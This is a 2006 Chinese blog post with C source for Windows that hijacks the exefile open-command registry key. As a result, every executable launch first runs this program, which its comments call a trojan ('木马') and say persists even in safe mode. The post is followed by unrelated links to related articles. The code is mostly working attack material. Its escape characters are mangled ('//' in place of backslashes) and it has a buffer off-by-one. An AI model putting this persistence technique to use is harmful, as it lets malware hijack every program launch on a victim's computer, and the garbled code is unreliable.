文件关联

原创 2006年05月28日 15:45:00
#include <stdio.h>
#include <windows.h>
int main(int argc,char *argv[])
{
MessageBox(NULL,"Hello",NULL,MB_OK);
char temp[256];
memset(temp,0,256);
if(argc!=1){
int length =strlen(argv[1]);
char *ch=(char *)malloc(length);
strcpy(ch,argv[1]);
for(int i=0;i<length;i++,ch++)
{
if(*ch=='//')
strncat(temp,"////",2);
else strncat(temp,ch,1);
}
}//上面的函数是把字符串中所有的"/"变为"//"
char str[]="/"%1/" %*"; 
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)str,strlen(str)+1);
// 在执行原有程序之前必须把注册表恢复,否则用ShellExecute还是执行我们的木马程序。
ShellExecute(NULL,"open",temp,NULL,NULL,SW_SHOW);//执行原有的程序
//在程序执行完成后,再把注册表改为我们要启动的木马程序的
TCHAR filename[256];
// 得到程序全路径名
GetModuleFileName( NULL, filename, 255 );
strcat(filename," /"%1/" %*");
RegSetValue(HKEY_CLASSES_ROOT,"exefile//shell//open//command",REG_SZ,(LPCTSTR)filename , strlen(filename) + 1);
//经过上述过程只要程序一运行就会执行我们的start 程序了。即使是在安全模式下只要执行可执行程序就会运行我们的程序了。
 
return 0;
}

MATLAB文件关联

  • 2016年04月15日 11:24
  • 9KB
  • 下载

main函数关联的crt目标文件

  • 2014年12月25日 21:09
  • 3KB
  • 下载

桌面点击:右键-显示设置,提示"该文件没有与之关联的程序来执行该操作"

右击是我的电脑 点击管理 显示 该文件没有与之关联的文件来操作 ????? 解决方法如下: 打开电脑左下角“开始”菜单,找到【运行】选项,点击打开; 在弹出的运行对话框输入 regedit 命...
  • ztf312
  • ztf312
  • 2016年03月21日 20:39
  • 4143

删除文件关联

  • 2015年04月19日 21:02
  • 84KB
  • 下载

文件关联查看器

  • 2016年01月26日 16:23
  • 59KB
  • 下载

lsof命令查看端口关联的文件

可以列出被进程所打开的文件的信息。被打开的文件可以是 1.普通的文件,2.目录  3.网络文件系统的文件,4.字符设备文件  5.(函数)共享库  6.管道,命名管道 7.符号链接 8.底层的so...

文件关联恢复

  • 2014年05月11日 12:36
  • 50KB
  • 下载

Matlab关联文件

  • 2014年06月15日 10:04
  • 215B
  • 下载

解决matlab安装后没有快捷方式启动弹出DOS界面并且m文件无关联的方法

试了matlab的2011版和2013a两个版本,默认安装后都出现了yix

注册表文件关联

  • 2013年12月03日 10:03
  • 23.82MB
  • 下载
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:文件关联
举报原因:
原因补充:

(最多只允许输入30个字)